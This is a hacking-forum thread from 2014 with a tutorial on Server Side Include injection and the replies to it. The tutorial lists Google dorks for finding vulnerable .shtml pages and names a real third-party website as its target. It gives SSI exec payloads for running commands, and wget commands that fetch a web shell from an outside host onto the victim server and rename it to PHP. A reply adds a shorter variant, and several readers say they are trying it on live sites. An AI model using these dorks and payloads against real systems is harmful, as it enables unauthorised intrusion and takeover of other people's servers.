

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

-zERaIT - November 18, 2014, 7:32 am

Server Side Include Injection

In this tutorial we'll be going through an SSI Injection which stands for Server Side Include Injection.

What is SSI?

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Description Taken From: <http://nightcode.weebly.com/ssi-injection.html>

Finding a vulnerable website

Finding a vulnerable website is the same as searching for an SQL vulnerability, you'll need to use either google dorks or test on targeted websites.

However, I suggest you to use google dorks as finding a website vulnerable for SSI Injection is quite hard, however it is still a known method.

Dorks:

Spoiler ([Click to View](#))

inurl:bin/CkIb/

inurl:login.shtml

inurl:login.shtm

inurl:login.stm

inurl:search.shtml

inurl:search.shtm

inurl:search.stm

inurl:forgot.shtml

inurl:forgot.shtm

inurl:forgot.stm

inurl:register.shtml

inurl:register.shtm

inurl:register.stm

inurl:login.shtml?page=

By looking at the above dorks on google I've found the website below and will use the website in this tutorial.

Quote:www.cgibackgrounds.com/user/login.shtml

To test if a website is actually vulnerable for SSI Injection you'll need to execute code on pages where user input is available, think about search engines, login forms etcetra.

SSI Commands:

Spoiler ([Click to View](#))

NOTE: There is a change that the commands below wont work, if thats the case then you'll have to put the command between <pre></pre> tags.

PHP Code

```
<?php
```

```
[b]<!--[/b]#echo var="DATE_LOCAL" -->
```

This will show the date.

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="whoami" -->
```

This will show the current user on the server.

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="ls -a" -->[b]<!--[/b]#exec cmd="ls -a" --> (Linux)
```

This will display all files within a directory.

PHP Code

```
<?php
```

```
[b]<!--[/b] #exec cmd="dir" --> (Windows)
```

This will display all files within a directory.

Enter 1 of the commands in for example the username and password field and hit either enter or login.

Example:

We'll see below that the server executed are command which means that it is vulnerable for SSI Injection.

Example:

Uploading a shell

Now, instead of executing a command which will give us the date, we're going to execute a command which will upload a shell on the server.

I'll be explaining 2 different ways of doing this.

1. Uploading your shell in php format.

Command:

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.php" -->
```

Change the command to your website with your shell uploaded on it in php format and put it in the input fields and hit enter or login again.

2. Uploading your shell in txt format.

Command:

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt" -->
```

Change the command to your website with your shell uploaded on it in txt format and put it in the input fields and hit enter or login again.

Now we'll have to rename the txt extension in php.

You can do that with the following command:

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="mv shell.txt shell.php" -->
```

Your shell is successfully uploaded.

Spoiler ([Click to View](#))

If you're unable to locate your shell, simply execute the following command.

PHP Code

```
<?php
```

```
[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" -->
```

This'll give you a list of all the files within a directory.

You can read my other tutorials by clicking below. [\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

Thats it for now, if you still have any questions related to SSI Injections then feel free to hit me up.
Thanks for viewing my thread.?

totalblack3599 - November 18, 2014, 10:32 am

i'm not sure if the shell is uploaded or not. And can't locate shell location as u suggested. i have tried in the example site.

And thanks for the tutorial.

tux1 - November 18, 2014, 3:03 pm

Pretty nice tutorial, thanks for posting!

Purest. - November 19, 2014, 7:08 am

I don't think this vulnerability works any more :(
it always leads to a NSA site

?Beartooth? - November 19, 2014, 8:51 pm

<https://gyazo.com/8c786a678ec9c5c5ec3696849a6cb14f>
<https://gyazo.com/4270f9b8155481819821450445e09ee7>

That's what happens when I try to do it, help please?!

-zERaIT - November 20, 2014, 4:34 am

Thanks for the feedback guys, much appreciated.

If you need help with anything then contact me on either xmpp or send me a private message.

ExplodingKnees - November 20, 2014, 3:38 pm

The method died out decades ago when Apache as well as other HTTPDs figured out what security means. Dorking out vulnerabilities will lead to void as the public exploitable ones belong to the same system, which patched this because of the SSI influx. This was noted in HF at 2012 and blew up. Nothing out of ordinary, solid writeup, lacks originality.

Hooded Robin - November 21, 2014, 6:18 am

stop ripping old tutorials and reclaiming them as your own.....

Ichii - November 21, 2014, 8:17 am

(Nov 21, 2014 07:18 AM)Hooded Robin Wrote: [\[CITE\]](#) stop ripping old tutorials and reclaiming them as your own.....

I noticed this too. I've seen this tutorial somewhere before, not sure who actually wrote it. I don't remember but even the images are the exact same

-zERaIT - November 21, 2014, 9:16 am

(Nov 21, 2014 09:17 AM)Ichii Wrote: [\[CITE\]](#) I noticed this too. I've seen this tutorial somewhere before, not sure who actually wrote it. I don't remember but even the images are the exact same

(Nov 21, 2014 07:18 AM)Hooded Robin Wrote: [\[CITE\]](#) stop ripping old tutorials and reclaiming them as your own.....

It's not the same, you're comparing my tutorial with other SSI tutorials.

However, they're using different example websites but describe the same as I do which is an SSI Injection.

You might have just noticed the description being the same, that's because it's 1 of the first results when entering SSI Injection on Google.

Now with all the respect, you can whine that I "ripped" a tutorial, which I clearly didn't, but you could also be happy that people are trying to add valuable content into the subforum.

Thanks.

ExplodingKnees - November 21, 2014, 10:46 am

Your tutorials aren't ripped, they're just rewrites. Boring, useless, not valuable, known and seen, you're not even innovating at the way you re-write tutorials. I'm not coming off in an aggressive manner or demand you to be useful - I can't, it just can be so much better. Read off my other reply at your other tutorial.

mangdiabloz - November 21, 2014, 8:55 pm

thanx for this... im trying it now using dorks...

Hooded Robin - November 21, 2014, 10:34 pm

Call it what you will, I will continue to "whine" when i see shit posts and shit being very poorly redone. ExplodingKnees sums it up pretty well...

Your crappy reposts just push the original posts down further into the abyss that is HF, so don't try to tell anyone you're doing us a favor by rushing out shit tutorials that have already been posted before, many times over in some cases. "Specialist" kind of implies there might be something special to your postings, not another knock off ruining HF....

-zERaIT - November 22, 2014, 4:02 am

(Nov 21, 2014 11:46 AM)ExplodingKnees Wrote: [\[CITE\]](#) Your tutorials aren't ripped, they're just rewrites. Boring, useless, not valueable, known and seen, you're not even innovating at the way you re-write tutorials. I'm not coming off in an aggressive manner or demand you to be useful - I can't, it just can be so much better. Read off my other reply at your other tutorial.

They aren't ripped, there are alot of tutorials regarding SSI Injections.

I've messaged you yesterday with the question what you would like to see in my tutorials, and what you think I could've done better. However your lack of reply says alot about you as a person.

(Nov 21, 2014 11:34 PM)Hooded Robin Wrote: [\[CITE\]](#) Call it what you will, I will continue to "whine" when i see shit posts and shit being very poorly redone. ExplodingKnees sums it up pretty well...

Your crappy reposts just push the original posts down further into the abyss that is HF, so don't try to tell anyone you're doing us a favor by rushing out shit tutorials that have already been posted before, many times over in some cases. "Specialist" kind of implies there might be something special to your postings, not another knock off ruining HF....

I respect your opinion, however it's not even close to the truth.

I've heard alot of positive feedback regarding them and will continue to push more throughout my time on HF.

Have a nice day.

ExplodingKnees - November 22, 2014, 4:12 am

(Nov 22, 2014 05:02 AM)Ladax Wrote: [\[CITE\]](#) They aren't ripped, there are alot of tutorials regarding SSI Injections.

I've messaged you yesterday with the question what you would like to see in my tutorials, and what you think I could've done better. However your lack of reply says alot about you as a person. Really? At the time of your message I had less than 25 messages meaning I couldn't reply to you.

I already stated what I want to see in your tutorials over here:

hackforums.net/showthread.php?tid=4543346

Quote:I might be expecting too much, but is there a chance you'd actually write something new? I know plausible content is better than no content but I don't really get the fuss over "Writing tutorials!" "Being productive!" if there's no actual benefit in what you're writing. Want ideas? I can give you plenty.

JavaScript manipulation /w form grabbing. SQL Injection /w surreal queries (DELETE, SET, CREATE). LFI on OSX. JS Keylogging. ClickJacking. Client exploitation /w BeEF. XSS 2 Shell using XSSF. Auditing linux servers - information gathering, auditing, pentesting, fingerprinting. Latest popular HTTPD CVE's. breaking down and mapping website applications. Session Fixation, hijacking and cookie play. Hunting 0days, etc.

I'm the minority that actually reads what you write and goes through it. Don't you feel like making people go WOW instead of "Keep up the good work"? I find it insulting when somebody praises me for my work and not for my outcome.

Im gone brah - November 22, 2014, 5:54 am

Poor tutorial, there's no point in teaching people to inject code they don't understand. I did the same mistake with my useless LFI tutorial. People who reads this wont know what the functions does. Not to mention I noticed some ripped parts in this tutorial.

PHP Code

```
<?php
echo exec('ls');
exec() will execute the given command.
```

PHP Code

```
<?php
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt" -->
You could just directly rename it using the O argument.
```

PHP Code

```
<?php
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt -O shell.php" -->
```

Quote: the SSI exec command. It inserts the output from a CGI script or a shell command in the document. Note that in the Jigsaw architecture CGI scripts are just another resource class, so that no distinction is made between executing a CGI script or including a file.

Parameters:

cmd = the command to execute -

<http://www.w3.org/Jigsaw/Doc/User/SSI.html> This is definitley more clear and easier to follow.

Roby_Sigma_VX - November 23, 2014, 10:48 am

Great tutorial! Thanks for sharing helping us noobs one step at a time.

Lamer - November 25, 2014, 1:20 am

(Nov 21, 2014 07:18 AM)Hooded Robin Wrote: [\[CITE\]](#) stop ripping old tutorials and reclaiming them as your own.....

I agree, Hey my friend Long time I've not seen you on jabber. Openwire IRC is down?

Hooded Robin - November 25, 2014, 6:38 am

@Lamer - Im still on jabber, just been away for a little while. Come chat....

Aceman - November 25, 2014, 8:27 am

(Nov 21, 2014 07:18 AM)Hooded Robin Wrote: [\[CITE\]](#) stop ripping old tutorials and reclaiming them as your own..... (Nov 21, 2014 09:17 AM)Ichi Wrote: [\[CITE\]](#) I noticed this too. I've seen this tutorial somewhere before, not sure who actually wrote it. I don't remember but even the images are the exact samelf you believe this tutorial to be plagiarized please alert me immediately.

Aakash Choudhary - November 29, 2014, 12:00 am

Very nice tutorial brother. You are great :)